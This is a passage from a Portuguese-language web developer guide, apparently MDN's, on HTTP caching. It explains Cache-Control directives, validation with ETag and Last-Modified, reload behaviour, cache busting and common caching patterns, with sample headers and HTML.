diante. No entanto, no passado, implementações de cache de proxy desatualizadas — como implementações que não entendem adequadamente o padrão HTTP Caching — geralmente causavam problemas para os desenvolvedores.\n\n**Kitchen-sink headers** como os seguintes são usados para tentar contornar implementações de \"cache de proxy antigo e não atualizado\" que não entendem as diretivas atuais de especificação de cache HTTP, como `no-store`.\n\n\n```http\nCache-Control: no-store, no-cache, max-age=0, must-revalidate, proxy-revalidate\n```\n\n\nNo entanto, nos últimos anos, à medida que o HTTPS se tornou mais comum e a comunicação cliente/servidor tornou-se criptografada, os caches de proxy no caminho só podem encapsular uma resposta e não podem se comportar como um cache, em muitos casos. Portanto, nesse cenário, não há necessidade de se preocupar com implementações de cache de proxy desatualizadas que nem conseguem ver a resposta.\n\nPor outro lado, se um proxy de ponte TLS descriptografa todas as comunicações de maneira intermediária instalando um certificado de uma CA (entidade certificadora) (en-US) gerenciada pela organização no PC e executa o controle de acesso, etc. — é possível ver o conteúdo da resposta e armazená-la em cache. No entanto, como CT (transparência do certificado) (en-US) se tornou comum nos últimos anos e alguns navegadores permitem apenas certificados emitidos com um SCT (carimbo de data e hora do certificado assinado), esse método exige a aplicação de uma política empresarial. Em um ambiente tão controlado, não há necessidade de se preocupar com o cache do proxy estar \"desatualizado e não atualizado\".\n\n#### Caches gerenciados\n\nOs caches gerenciados são implantados explicitamente por desenvolvedores de serviços para descarregar o servidor de origem e fornecer conteúdo com eficiência. Os exemplos incluem proxies reversos, CDNs e service workers em combinação com a API de cache.\n\nAs características dos caches gerenciados variam dependendo do produto implementado. Na maioria dos casos, você pode controlar o comportamento do cache através do cabeçalho `Cache-Control` e seus próprios arquivos de configuração ou painéis.\n\nPor exemplo, a especificação HTTP Caching essencialmente não define uma maneira de excluir explicitamente um cache — mas com um cache gerenciado, a resposta armazenada pode ser excluída a qualquer momento por meio de operações de painel, chamadas de API, reinicializações e assim por diante. Isso permite uma estratégia de cache mais proativa.\n\nTambém é possível ignorar os protocolos de especificação de cache HTTP padrão em favor da manipulação explícita. Por exemplo, o seguinte pode ser especificado para desativar um cache privado ou cache proxy, ao usar sua própria estratégia para armazenar em cache apenas em um cache gerenciado.\n\n\n```http\nCache-Control: no-store\n```\n\n\nPor exemplo, o Varnish Cache usa VCL (Varnish Configuration Language, um tipo de lógica DSL (en-US)) para lidar com o armazenamento em cache, enquanto os service workers em combinação com a Cache API permitem que você crie essa lógica em JavaScript.\n\nIsso significa que se um cache gerenciado ignorar intencionalmente uma diretiva `no-store`, não há necessidade de percebê-lo como \"não compatível\" com o padrão. O que você deve fazer é evitar o uso de cabeçalhos de pia de cozinha, mas leia atentamente a documentação de qualquer mecanismo de cache gerenciado que estiver usando e verifique se está controlando o cache adequadamente da maneira fornecida pelo mecanismo escolhido para usar.\n\nObserve que alguns CDNs fornecem seus próprios cabeçalhos que são eficazes apenas para esse CDN (por exemplo, `Surrogate-Control`). Atualmente, o trabalho está em andamento para definir um cabeçalho `CDN-Cache-Control` para padronizá-los.\n\n![Tipo de Cache](/pt-BR/docs/Web/HTTP/Caching/type-of-cache.png)\n\nCache heurístico\n----------------\n\nO HTTP foi projetado para armazenar em cache o máximo possível, portanto, mesmo que nenhum `Cache-Control` seja fornecido, as respostas serão armazenadas e reutilizadas se determinadas condições forem atendidas. Isso é chamado de **caching heurístico**.\n\nPor exemplo, tome a seguinte resposta. Esta resposta foi atualizada pela última vez há 1 ano.\n\n\n```http\nHTTP/1.1 200 OK\nContent-Type: text/html\nContent-Length: 1024\nDate: Tue, 22 Feb 2022 22:22:22 GMT\nLast-Modified: Tue, 22 Feb 2021 22:22:22 GMT\n\n<!doctype html>\n…\n```\n\n\nSabe-se heuristicamente que o conteúdo que não foi atualizado por um ano inteiro não será atualizado por algum tempo depois disso. Portanto, o cliente armazena essa resposta (apesar da falta de `max-age`) e a reutiliza por um tempo. Quanto tempo para reutilizar depende da implementação, mas a especificação recomenda cerca de 10% (neste caso 0,1 ano) do tempo após o armazenamento.\n\nO cache heurístico é uma solução alternativa que veio antes que o suporte `Cache-Control` fosse amplamente adotado, e basicamente todas as respostas deveriam especificar explicitamente um cabeçalho `Cache-Control`.\n\nFresh e stale com base na idade\n-------------------------------\n\nAs respostas HTTP armazenadas têm dois estados: **fresh** e **stale**. O estado *fresh* geralmente indica que a resposta ainda é válida e pode ser reutilizada, enquanto o estado *stale* significa que a resposta em cache já expirou.\n\nO critério para determinar quando uma resposta é recente e quando está desatualizada é **age**. Em HTTP, a idade é o tempo decorrido desde que a resposta foi gerada. Isso é semelhante ao TTL (en-US) em outros mecanismos de cache.\n\nVeja a seguinte resposta de exemplo (604800 segundos é uma semana):\n\n\n```http\nHTTP/1.1 200 OK\nContent-Type: text/html\nContent-Length: 1024\nDate: Tue, 22 Feb 2022 22:22:22 GMT\nCache-Control: max-age=604800\n\n<!doctype html>\n…\n```\n\n\nO cache que armazenou a resposta de exemplo calcula o tempo decorrido desde que a resposta foi gerada e usa o resultado como *age* da resposta.\n\nPara a resposta de exemplo, o significado de `max-age` é o seguinte:\n\n* Se a idade da resposta for *menos* de uma semana, a resposta será *fresh*.\n* Se a idade da resposta for *mais* de uma semana, a resposta será *stale*.\n\nEnquanto a resposta armazenada permanecer atualizada, ela será usada para atender às solicitações do cliente.\n\nQuando uma resposta é armazenada em um cache compartilhado, é necessário informar ao cliente a idade da resposta. Continuando com o exemplo, se o cache compartilhado armazenasse a resposta por um dia, o cache compartilhado enviaria a seguinte resposta para solicitações de clientes subsequentes.\n\n\n```http\nHTTP/1.1 200 OK\nContent-Type: text/html\nContent-Length: 1024\nDate: Tue, 22 Feb 2022 22:22:22 GMT\nCache-Control: max-age=604800\nAge: 86400\n\n<!doctype html>\n…\n```\n\n\nO cliente que receber essa resposta a achará atualizada pelos 518.400 segundos restantes, a diferença entre a `max-age` e a `Age` da resposta.\n\nExpires ou max-age\n------------------\n\nNo HTTP/1.0, o frescor costumava ser especificado pelo cabeçalho `Expires`.\n\nO cabeçalho `Expires` especifica o tempo de vida do cache usando um tempo explícito em vez de especificar um tempo decorrido.\n\n\n```http\nExpires: Tue, 28 Feb 2022 22:22:22 GMT\n```\n\n\nNo entanto, o formato de hora é difícil de analisar, muitos bugs de implementação foram encontrados e é possível induzir problemas alterando intencionalmente o relógio do sistema; portanto, `max-age` — para especificar um tempo decorrido — foi adotado para `Cache-Control` em HTTP/1.1.\n\nSe `Expires` e `Cache-Control: max-age` estiverem disponíveis, `max-age` será definido como preferencial. Portanto, não é necessário fornecer `Expires` agora que o HTTP/1.1 é amplamente utilizado.\n\nVary\n----\n\nA maneira como as respostas são diferenciadas umas das outras é essencialmente baseada em seus URLs:\n\n![chave com url](/pt-BR/docs/Web/HTTP/Caching/keyed-with-url.png)\n\nMas o conteúdo das respostas nem sempre é o mesmo, mesmo que tenham a mesma URL. Especialmente quando a negociação de conteúdo é realizada, a resposta do servidor pode depender dos valores dos cabeçalhos de solicitação `Accept`, `Accept-Language` e `Accept-Encoding`.\n\nPor exemplo, para conteúdo em inglês retornado com um cabeçalho `Accept-Language: en` e armazenado em cache, é indesejável reutilizar essa resposta em cache para solicitações que tenham um cabeçalho de solicitação `Accept-Language: ja`. Nesse caso, você pode fazer com que as respostas sejam armazenadas em cache separadamente — com base no idioma — adicionando \"`Accept-Language`\" ao valor do cabeçalho `Vary`.\n\n\n```http\nVary: Accept-Language\n```\n\n\nIsso faz com que o cache seja codificado com base em uma composição do URL de resposta e no cabeçalho de solicitação `Accept-Language` — em vez de ser baseado apenas no URL de resposta.\n\n![chaveado com url e idioma](/pt-BR/docs/Web/HTTP/Caching/keyed-with-url-and-language.png)\n\nAlém disso, se você estiver fornecendo otimização de conteúdo (por exemplo, para design responsivo) com base no agente do usuário, pode ser tentado a incluir \"`User-Agent`\" no valor do cabeçalho `Vary`. No entanto, o cabeçalho de solicitação `User-Agent` geralmente tem um número muito grande de variações, o que reduz drasticamente a chance de o cache ser reutilizado. Portanto, se possível, considere uma maneira de variar o comportamento com base na detecção de recursos, em vez de com base no cabeçalho da solicitação `User-Agent`.\n\nPara aplicativos que empregam cookies para impedir que outros reutilizem conteúdo personalizado em cache, você deve especificar `Cache-Control: private` em vez de especificar um cookie para `Vary`.\n\nValidação\n---------\n\nAs respostas obsoletas não são descartadas imediatamente. O HTTP tem um mecanismo para transformar uma resposta obsoleta em uma nova, perguntando ao servidor de origem. Isso é chamado de **validação** ou, às vezes, **revalidação**.\n\nA validação é feita usando uma **solicitação condicional** que inclui um cabeçalho de solicitação `If-Modified-Since` ou `If-None-Match`.\n\n### If-Modified-Since\n\nA resposta a seguir foi gerada às 22:22:22 e tem um `max-age` de 1 hora, então você sabe que ela é atualizada até 23:22:22.\n\n\n```http\nHTTP/1.1 200 OK\nContent-Type: text/html\nContent-Length: 1024\nDate: Tue, 22 Feb 2022 22:22:22 GMT\nLast-Modified: Tue, 22 Feb 2022 22:00:00 GMT\nCache-Control: max-age=3600\n\n<!doctype html>\n…\n```\n\n\nÀs 23:22:22, a resposta se torna obsoleta e o cache não pode ser reutilizado. Portanto, a solicitação abaixo mostra um cliente enviando uma solicitação com um cabeçalho de solicitação `If-Modified-Since`, para perguntar ao servidor se houve alguma alteração feita desde o horário especificado.\n\n\n```http\nGET /index.html HTTP/1.1\nHost: example.com\nAccept: text/html\nIf-Modified-Since: Tue, 22 Feb 2022 22:00:00 GMT\n```\n\n\nO servidor responderá com `304 Not Modified` se o conteúdo não mudou desde o horário especificado.\n\nComo essa resposta indica apenas \"sem alteração\", não há corpo de resposta - há apenas um código de status - portanto, o tamanho da transferência é extremamente pequeno.\n\n\n```http\nHTTP/1.1 304 Not Modified\nContent-Type: text/html\nDate: Tue, 22 Feb 2022 23:22:22 GMT\nLast-Modified: Tue, 22 Feb 2022 22:00:00 GMT\nCache-Control: max-age=3600\n```\n\n\nAo receber essa resposta, o cliente reverte a resposta antiga armazenada e pode reutilizá-la durante a 1 hora restante.\n\nO servidor pode obter o tempo de modificação do sistema de arquivos do sistema operacional, o que é relativamente fácil de fazer no caso de servir arquivos estáticos. No entanto, existem alguns problemas; por exemplo, o formato de hora é complexo e difícil de analisar, e os servidores distribuídos têm dificuldade em sincronizar os horários de atualização de arquivo.\n\nPara resolver tais problemas, o cabeçalho de resposta `ETag` foi padronizado como alternativa.\n\n### ETag/If-None-Match\n\nO valor do cabeçalho de resposta `ETag` é um valor arbitrário gerado pelo servidor. Não há restrições sobre como o servidor deve gerar o valor, portanto, os servidores são livres para definir o valor com base em qualquer meio que escolherem - como um hash do conteúdo do corpo ou um número de versão.\n\nComo exemplo, se um valor de hash for usado para o cabeçalho `ETag` e o valor de hash do recurso `index.html` for `33a64df5`, a resposta será a seguinte:\n\n\n```http\nHTTP/1.1 200 OK\nContent-Type: text/html\nContent-Length: 1024\nDate: Tue, 22 Feb 2022 22:22:22 GMT\nETag: \"33a64df5\"\nCache-Control: max-age=3600\n\n<!doctype html>\n…\n```\n\n\nSe essa resposta estiver obsoleta, o cliente pega o valor do cabeçalho de resposta `ETag` para a resposta em cache e o coloca no cabeçalho de solicitação `If-None-Match`, para perguntar ao servidor se o recurso foi modificado:\n\n\n```http\nGET /index.html HTTP/1.1\nHost: example.com\nAccept: text/html\nIf-None-Match: \"33a64df5\"\n```\n\n\nO servidor retornará `304 Not Modified` se o valor do cabeçalho `ETag` que ele determinar para o recurso solicitado for o mesmo que o valor `If-None-Match` na solicitação.\n\nMas se o servidor determinar que o recurso solicitado deve ter agora um valor 'ETag' diferente, o servidor responderá com um '200 OK' e a versão mais recente do recurso.\n\n**Nota:** ao avaliar como usar `ETag` e `Last-Modified`, considere o seguinte:\n Durante a revalidação de cache, se ambos `ETag` e `Last-Modified` estiverem presentes, `ETag` terá precedência.\n Portanto, se você está considerando apenas o armazenamento em cache, você pode pensar que 'Last-Modified' é desnecessário.\n No entanto, `Last-Modified` não é apenas útil para cache; em vez disso, é um cabeçalho HTTP padrão que também é usado por sistemas de gerenciamento de conteúdo (CMS) para exibir a hora da última modificação, por rastreadores para ajustar a frequência de rastreamento e para outras finalidades.\n Portanto, considerando o ecossistema HTTP geral, é preferível fornecer `ETag` e `Last-Modified`.\n\n\n### Forçar revalidação\n\nSe você não quer que uma resposta seja reutilizada, mas quer sempre buscar o conteúdo mais recente do servidor, você pode usar a diretiva `no-cache` para forçar a validação.\n\nAo adicionar `Cache-Control: no-cache` à resposta junto com `Last-Modified` e `ETag` — como mostrado abaixo — o cliente receberá uma resposta `200 OK` se o recurso solicitado foi atualizado ou caso contrário, receba uma resposta `304 Not Modified` se o recurso solicitado não tiver sido atualizado.\n\n\n```http\nHTTP/1.1 200 OK\nContent-Type: text/html\nContent-Length: 1024\nDate: Tue, 22 Feb 2022 22:22:22 GMT\nLast-Modified: Tue, 22 Feb 2022 22:00:00 GMT\nETag: deadbeef\nCache-Control: no-cache\n\n<!doctype html>\n…\n```\n\n\nCostuma-se dizer que a combinação de `max-age=0` e `must-revalidate` tem o mesmo significado de `no-cache`.\n\n\n```http\nCache-Control: max-age=0, must-revalidate\n```\n\n\n`max-age=0` significa que a resposta é imediatamente obsoleta, e `must-revalidate` significa que ela não deve ser reutilizada sem revalidação uma vez que está obsoleta - então, em combinação, a semântica parece ser a mesma que `no -cache`.\n\nNo entanto, esse uso de `max-age=0` é um resquício do fato de que muitas implementações anteriores ao HTTP/1.1 eram incapazes de lidar com a diretiva `no-cache` — e, portanto, para lidar com essa limitação, `max-age =0` foi usado como solução alternativa.\n\nMas agora que os servidores compatíveis com HTTP/1.1 são amplamente implantados, não há razão para usar essa combinação `max-age=0` e `must-revalidate` - você deve usar apenas `no-cache`.\n\nNão armazenar em cache\n----------------------\n\nA diretiva `no-cache` não impede o armazenamento de respostas, mas impede a reutilização de respostas sem revalidação.\n\nSe você não quiser uma resposta armazenada em nenhum cache, use `no-store`.\n\n\n```http\nCache-Control: no-store\n```\n\n\nNo entanto, em geral, um requisito de \"não armazenar em cache\" na prática equivale ao seguinte conjunto de circunstâncias:\n\n* Não deseja que a resposta seja armazenada por outra pessoa que não seja o cliente específico, por questões de privacidade.\n* Quer fornecer informações atualizadas sempre.\n* Não sei o que pode acontecer em implementações desatualizadas.\n\nSob esse conjunto de circunstâncias, `no-store` nem sempre é a diretiva mais apropriada.\n\nAs seções a seguir examinam as circunstâncias com mais detalhes.\n\n### Não compartilhe com outras pessoas\n\nSeria problemático se uma resposta com conteúdo personalizado fosse inesperadamente visível para outros usuários de um cache.\n\nNesse caso, usar a diretiva `private` fará com que a resposta personalizada seja armazenada apenas com o cliente específico e não seja vazada para nenhum outro usuário do cache.\n\n\n```http\nCache-Control: private\n```\n\n\nNesse caso, mesmo que `no-store` seja fornecido, `private` também deve ser fornecido.\n\n### Forneça conteúdo atualizado sempre\n\nA diretiva `no-store` impede que uma resposta seja armazenada, mas não exclui nenhuma resposta já armazenada para o mesmo URL.\n\nEm outras palavras, se já houver uma resposta antiga armazenada para uma URL específica, retornar `no-store` não impedirá que a resposta antiga seja reutilizada.\n\nNo entanto, uma diretiva `no-cache` forçará o cliente a enviar uma solicitação de validação antes de reutilizar qualquer resposta armazenada.\n\n\n```http\nCache-Control: no-cache\n```\n\n\nSe o servidor não suportar solicitações condicionais, você pode forçar o cliente a acessar o servidor todas as vezes e sempre obter a resposta mais recente com `200 OK`.\n\n### Lidando com implementações desatualizadas\n\nComo solução para implementações desatualizadas que ignoram `no-store`, você pode ver cabeçalhos de pia de cozinha, como o seguinte, sendo usados.\n\n\n```http\nCache-Control: no-store, no-cache, max-age=0, must-revalidate, proxy-revalidate\n```\n\n\nÉ recomendado usar `no-cache` como uma alternativa para lidar com essas implementações desatualizadas , e não há problema se `no-cache` for fornecido desde o início, pois o servidor sempre receberá a solicitação.\n\nSe você está preocupado com o cache compartilhado, certifique-se de evitar o cache não intencional adicionando também `private`:\n\n\n```http\nCache-Control: no-cache, private\n```\n\n### O que é perdido por `no-store`\n\nVocê pode pensar que adicionar `no-store` seria a maneira correta de desativar o armazenamento em cache.\n\nNo entanto, não é recomendado conceder `no-store` liberalmente, porque você perde muitas vantagens que o HTTP e os navegadores têm, incluindo o cache de retorno/avanço do navegador.\n\nPortanto, para obter as vantagens do conjunto completo de recursos da plataforma web, prefira o uso de `no-cache` em combinação com `private`.\n\nRecarregue e force o recarregamento\n-----------------------------------\n\nA validação pode ser realizada tanto para solicitações quanto para respostas.\n\nAs ações **reload** e **force reload** são exemplos comuns de validação realizada do lado do navegador.\n\n### Recarregar\n\nPara recuperar a corrupção da janela ou atualizar para a versão mais recente do recurso, os navegadores fornecem uma função de recarregamento para os usuários.\n\nUma visualização simplificada da solicitação HTTP enviada durante um recarregamento do navegador é a seguinte:\n\n\n```http\nGET / HTTP/1.1\nHost: example.com\nCache-Control: max-age=0\nIf-None-Match: \"deadbeef\"\nIf-Modified-Since: Tue, 22 Feb 2022 20:20:20 GMT\n```\n\n\n(As solicitações do Chrome, Edge e Firefox são muito parecidas com as acima; as solicitações do Safari serão um pouco diferentes.)\n\nA diretiva `max-age=0` na solicitação especifica \"reutilização de respostas com idade igual ou inferior a 0\" — portanto, na verdade, as respostas armazenadas intermediárias não são reutilizadas.\n\nComo resultado, uma solicitação é validada por `If-None-Match` e `If-Modified-Since`.\n\nEsse comportamento também é definido no padrão Fetch e pode ser reproduzido em JavaScript chamando `fetch()` com o modo de cache definido como `no-cache` (observe que `reload` não é o modo correto para este caso):\n\n\n```js\n// Nota: \"reload\" não é o modo correto para um recarregamento normal; \"no-cache\" é\nfetch(\"/\", { cache: \"no-cache\" });\n```\n\n### Forçar recarga\n\nOs navegadores usam `max-age=0` durante os recarregamentos por motivos de compatibilidade com versões anteriores — porque muitas implementações desatualizadas anteriores ao HTTP/1.1 não entendiam `no-cache`. Mas `no-cache` está bem agora neste caso de uso, e **forçar recarregamento** é uma forma adicional de contornar as respostas em cache.\n\nA solicitação HTTP durante um **recarregamento forçado** do navegador tem a seguinte aparência:\n\n\n```http\nGET / HTTP/1.1\nHost: example.com\nPragma: no-cache\nCache-Control: no-cache\n```\n\n\n(As solicitações do Chrome, Edge e Firefox são muito parecidas com as acima; as solicitações do Safari serão um pouco diferentes.)\n\nComo essa não é uma solicitação condicional com `no-cache`, você pode ter certeza de que receberá um `200 OK` do servidor de origem.\n\nEsse comportamento também é definido no padrão Fetch e pode ser reproduzido em JavaScript chamando `fetch()` com o modo de cache definido como `reload` (observe que não é `force-reload`):\n\n\n```js\n// Nota: \"reload\" — em vez de \"no-cache\" — é o modo correto para um \"force reload\"fetch(\"/\", { cache: \"reload\" });\n```\n\n### Evitando a revalidação\n\nO conteúdo que nunca muda deve receber uma longa `max-age` usando cache busting — ou seja, incluindo um número de versão, valor de hash, etc., no URL da solicitação.\n\nNo entanto, quando o usuário recarrega, uma solicitação de revalidação é enviada mesmo que o servidor saiba que o conteúdo é imutável.\n\nPara evitar isso, a diretiva `immutable` pode ser usada para indicar explicitamente que a revalidação não é necessária porque o conteúdo nunca muda.\n\n\n```http\nCache-Control: max-age=31536000, immutable\n```\n\n\nIsso evita revalidações desnecessárias durante as recargas.\n\nObserve que, em vez de implementar essa diretiva, o Chrome mudou sua implementação para que a revalidação não seja executado durante recargas para sub-recursos.\n\nExcluindo respostas armazenadas\n-------------------------------\n\nBasicamente, não há como excluir respostas que já foram armazenadas com um `max-age` longo.\n\nImagine que a seguinte resposta de `https://example.com/` foi armazenada.\n\n\n```http\nHTTP/1.1 200 OK\nContent-Type: text/html\nContent-Length: 1024\nCache-Control: max-age=31536000\n\n<!doctype html>\n…\n```\n\n\nVocê pode querer sobrescrever essa resposta depois que ela expirar no servidor, mas não há nada que o servidor possa fazer depois que a resposta for armazenada - já que nenhuma solicitação chega ao servidor devido ao armazenamento em cache.\n\nUm dos métodos mencionados na especificação é enviar uma solicitação para a mesma URL com um método não seguro como `POST`, mas isso geralmente é difícil de fazer intencionalmente para muitos clientes.\n\nHá também uma especificação para um cabeçalho e valor `Clear-Site-Data: cache`, mas nem todos os navegadores o suportam — e mesmo quando usado, afeta apenas os caches do navegador e não afeta os caches intermediários.\n\nPortanto, deve-se presumir que qualquer resposta armazenada permanecerá por seu período de `max-age`, a menos que o usuário execute manualmente uma ação de recarregar, forçar o recarregamento ou limpar o histórico.\n\nO armazenamento em cache reduz o acesso ao servidor, o que significa que o servidor perde o controle dessa URL. Se o servidor não quiser perder o controle de uma URL — por exemplo, no caso de um recurso ser atualizado com frequência — você deve adicionar `no-cache` para que o servidor sempre receba solicitações e envie as respostas pretendidas.\n\nRecolhimento da solicitação\n---------------------------\n\nO cache compartilhado está localizado principalmente antes do servidor de origem e destina-se a reduzir o tráfego para o servidor de origem.\n\nAssim, se várias solicitações idênticas chegarem a um cache compartilhado ao mesmo tempo, o cache intermediário encaminhará uma única solicitação em seu nome para a origem, que poderá reutilizar o resultado para todos os clientes. Isso é chamado de ***recolhimento da solicitação***.\n\nO colapso da solicitação ocorre quando as solicitações chegam ao mesmo tempo, portanto, mesmo que `max-age=0` ou `no-cache` seja fornecido na resposta, ele será reutilizado.\n\nSe a resposta for personalizada para um usuário específico e você não quiser que ela seja compartilhada em recolhimento, você deve adicionar a diretiva `private`:\n\n![Recolher solicitação](/pt-BR/docs/Web/HTTP/Caching/request-collapse.png)\n\nPadrões de cache comuns\n-----------------------\n\nExistem muitas diretivas na especificação `Cache-Control`, e pode ser difícil entender todas elas. Mas a maioria dos sites pode ser coberta por uma combinação de alguns padrões.\n\nEsta seção descreve os padrões comuns no projeto de caches.\n\n### Configurações padrão\n\nComo mencionado acima, o comportamento padrão para armazenamento em cache (ou seja, para uma resposta sem `Cache-Control`) não é simplesmente \"não armazenar em cache\", mas cache implícito de acordo com o chamado \"caching heurístico\".\n\nPara evitar esse cache heurístico, é preferível fornecer explicitamente a todas as respostas um cabeçalho padrão `Cache-Control`.\n\nPara garantir que, por padrão, as versões mais recentes dos recursos sempre serão transferidas, é uma prática comum fazer com que o valor padrão de `Cache-Control` inclua `no-cache`:\n\n\n```http\nCache-Control: no-cache\n```\n\n\nAlém disso, se o serviço implementa cookies ou outros métodos de login, e o conteúdo é personalizado para cada usuário, também deve ser fornecido `privado`, para evitar o compartilhamento com outros usuários:\n\n\n```http\nCache-Control: no-cache, private\n```\n\n### Bloqueio de cache\n\nOs recursos que funcionam melhor com cache são arquivos estáticos imutáveis cujo conteúdo nunca muda. E para recursos que *fazem* alterações, é uma prática recomendada comum alterar a URL sempre que o conteúdo for alterado, para que a unidade de URL possa ser armazenada em cache por um período mais longo.\n\nComo exemplo, considere o seguinte HTML:\n\n\n```html\n<script src=\"bundle.js\"></script>\n<link rel=\"stylesheet\" href=\"build.css\" />\n<body>\n  hello\n</body>\n```\n\n\nNo desenvolvimento web moderno, os recursos JavaScript e CSS são atualizados com frequência à medida que o desenvolvimento avança. Além disso, se as versões dos recursos JavaScript e CSS que um cliente usa estiverem fora de sincronia, a exibição será interrompida.\n\nPortanto, o HTML acima dificulta o cache de `bundle.js` e `build.css` com `max-age`.\n\nPortanto, você pode fornecer JavaScript e CSS com URLs que incluem uma parte de alteração com base em um número de versão ou valor de hash. Algumas das maneiras de fazer isso são mostradas abaixo.\n```\n\n# versão no nome do arquivo\nbundle.v123.js\n\n# versão na consulta\nbundle.js?v=123\n\n# hash no nome do arquivo\nbundle.YsAIAAAA-QG4G6kCMAMBAAAAAAAoK.js\n\n# hash na consulta\nbundle.js?v=YsAIAAAA-QG4G6kCMAMBAAAAAAAoK\n```\n\n\nComo o cache distingue recursos uns dos outros com base em seus URLs, o cache não será reutilizado novamente se o URL for alterado quando um recurso for atualizado.\n\n\n```html\n<script src=\"bundle.v123.js\"></script>\n<link rel=\"stylesheet\" href=\"build.v123.css\" />\n<body>\n  hello\n</body>\n```\n\n\nCom esse design, os recursos JavaScript e CSS podem ser armazenados em cache por um longo tempo. Então, quanto tempo deve ser definido como `max-age`? A especificação QPACK fornece uma resposta a essa pergunta.\n\nQPACK é um padrão para compactar campos de cabeçalho HTTP, com tabelas de valores de campo comumente usados definidas.\n\nAlguns valores de cabeçalho de cache comumente usados são mostrados abaixo.\n```\n\n36 cache-control max-age=0\n37 cache-control max-age=604800\n38 cache-control max-age=2592000\n39 cache-control no-cache\n40 cache-control no-store\n41 cache-control public, max-age=31536000\n```\n\n\nSe você selecionar uma dessas opções numeradas, poderá compactar valores em 1 byte quando transferidos via HTTP3.\n\nOs números `37`, `38` e `41` são para períodos de uma semana, um mês e um ano.\n\nComo o cache remove entradas antigas quando novas entradas são salvas, a probabilidade de que uma resposta armazenada ainda exista após uma semana não é tão alta — mesmo se `max-age` for definido como 1 semana. Portanto, na prática, não faz muita diferença qual você escolhe.\n\nObserve que o número `41` tem a `max-age` mais longa (1 ano), mas com `public`.\n\nO valor `public` tem o efeito de tornar a resposta armazenável mesmo se o cabeçalho `Authorization` estiver presente.\n\n**Nota:** A diretiva `public` só deve ser usada se houver necessidade de armazenar a resposta quando o cabeçalho `Authorization` for definido.\n Não é necessário de outra forma, porque uma resposta será armazenada no cache compartilhado enquanto `max-age` for fornecido.\n\n\nPortanto, se a resposta for personalizada com autenticação básica, a presença de `público` pode causar problemas. Se estiver preocupado com isso, você pode escolher o segundo valor mais longo, `38` (1 mês).\n\n\n```http\n# resposta para bundle.v123.js\n\n# Se você nunca personalizar as respostas por meio de autorização\nCache-Control: public, max-age=31536000\n\n# Se você não pode ter certeza\nCache-Control: max-age=2592000\n```\n\n### Validação\n\nNão se esqueça de definir os cabeçalhos `Last-Modified` e `ETag`, para que você não precise retransmitir um recurso ao recarregar. É fácil gerar esses cabeçalhos para arquivos estáticos pré-criados.\n\nO valor `ETag` aqui pode ser um hash do arquivo.\n\n\n```http\n# resposta para bundle.v123.js\nLast-Modified: Tue, 22 Feb 2022 20:20:20 GMT\nETag: YsAIAAAA-QG4G6kCMAMBAAAAAAAoK\n```\n\n\nAlém disso, `imutable` pode ser adicionado para evitar a validação no recarregamento.\n\nO resultado combinado é mostrado abaixo.\n\n\n```http\n# bundle.v123.js\nHTTP/1.1 200 OK\nContent-Type: application/javascript\nContent-Length: 1024\nCache-Control: public, max-age=31536000, immutable\nLast-Modified: Tue, 22 Feb 2022 20:20:20 GMT\nETag: YsAIAAAA-QG4G6kCMAMBAAAAAAAoK\n```\n\n\nO **bloqueio de cache** é uma técnica para tornar uma resposta armazenável em cache por um longo período, alterando o URL quando o conteúdo é alterado. A técnica pode ser aplicada a todos os sub-recursos, como imagens.\n\n**Nota:** Ao avaliar o uso de `immutable` e QPACK:\n Se você está preocupado que `imutable` altera o valor predefinido fornecido pelo QPACK, considere que\n neste caso, a parte `imutable` pode ser codificada separadamente dividindo o valor `Cache-Control` em duas linhas — embora isso dependa do algoritmo de codificação que uma implementação QPACK específica usa.\n\n\n\n```http\nCache-Control: public, max-age=31536000\nCache-Control: immutable\n```\n\n### Principais recursos\n\nAo contrário dos sub-recursos, os recursos principais não podem ser bloqueados no cache porque suas URLs não podem ser decoradas da mesma forma que as URLs de sub-recursos.\n\nSe o próprio HTML a seguir for armazenado, a versão mais recente não poderá ser exibida, mesmo que o conteúdo seja atualizado no lado do servidor.\n\n\n```html\n<script src=\"bundle.v123.js\"></script>\n<link rel=\"stylesheet\" href=\"build.v123.css\" />\n<body>\n  hello\n</body>\n```\n\n\nPara esse caso, `no-cache` seria apropriado — em vez de `no-store` — já que não queremos armazenar HTML, mas apenas queremos que ele esteja sempre atualizado.\n\nAlém disso, adicionar `Last-Modified` e `ETag` permitirá que os clientes enviem solicitações condicionais, e um `304 Not Modified` pode ser retornado se não houver atualizações no HTML:\n\n\n```http\nHTTP/1.1 200 OK\nContent-Type: text/html\nContent-Length: 1024\nCache-Control: no-cache\nLast-Modified: Tue, 22 Feb 2022 20:20:20 GMT\nETag: AAPuIbAOdvAGEETbgAAAAAAABAAE\n```\n\n\nEssa configuração é apropriada para HTML não personalizado, mas para uma resposta personalizada usando cookies — por exemplo, após um login — não se esqueça de especificar também `private`:\n\n\n```http\nHTTP/1.1 200 OK\nContent-Type: text/html\nContent-Length: 1024\nCache-Control: no-cache, private\nLast-Modified: Tue, 22 Feb 2022 20:20:20 GMT\nETag: AAPuIbAOdvAGEETbgAAAAAAABAAE\nSet-Cookie: \\_\\_Host-SID=AHNtAyt3fvJrUL5g5tnGwER; Secure; Path=/; HttpOnly\n```\n\n\nO mesmo pode ser usado para `favicon.ico`, `manifest.json`, `.well-known` e endpoints de API cujos URLs não podem ser alterados usando cache busting.\n\nA maior parte do conteúdo da web pode ser coberta por uma combinação dos dois padrões descritos acima.\n\n### Mais sobre caches gerenciados\n\nCom o método descrito nas seções anteriores, os sub-recursos podem ser armazenados em cache por um longo tempo usando o cache busting, mas os recursos principais (que geralmente são documentos HTML) não podem.\n\nO armazenamento em cache dos recursos principais é difícil porque, usando apenas diretivas padrão da especificação HTTP Caching, não há como excluir ativamente o conteúdo do cache quando o conteúdo é atualizado no servidor.\n\nNo entanto, é possível implementar um cache gerenciado, como um CDN ou um service worker.\n\nPor exemplo, uma CDN que permite a limpeza de cache por meio de uma API ou operação de painel permitiria uma estratégia de armazenamento em cache mais agressiva armazenando o recurso principal e limpando explicitamente o cache relevante somente quando ocorrer uma atualização no servidor.\n\nUm service worker poderia fazer o mesmo se pudesse excluir o conteúdo da API de Cache quando ocorrer uma atualização no servidor.\n\nPara obter mais informações, consulte a documentação do seu CDN e consulte a documentação do service worker.\n\nVeja também\n-----------\n\n* RFC 9111: Protocolo de transferência de hipertexto (HTTP/1.1): armazenamento em cache\n* Tutorial de armazenamento em cache - Mark Nottingham"}
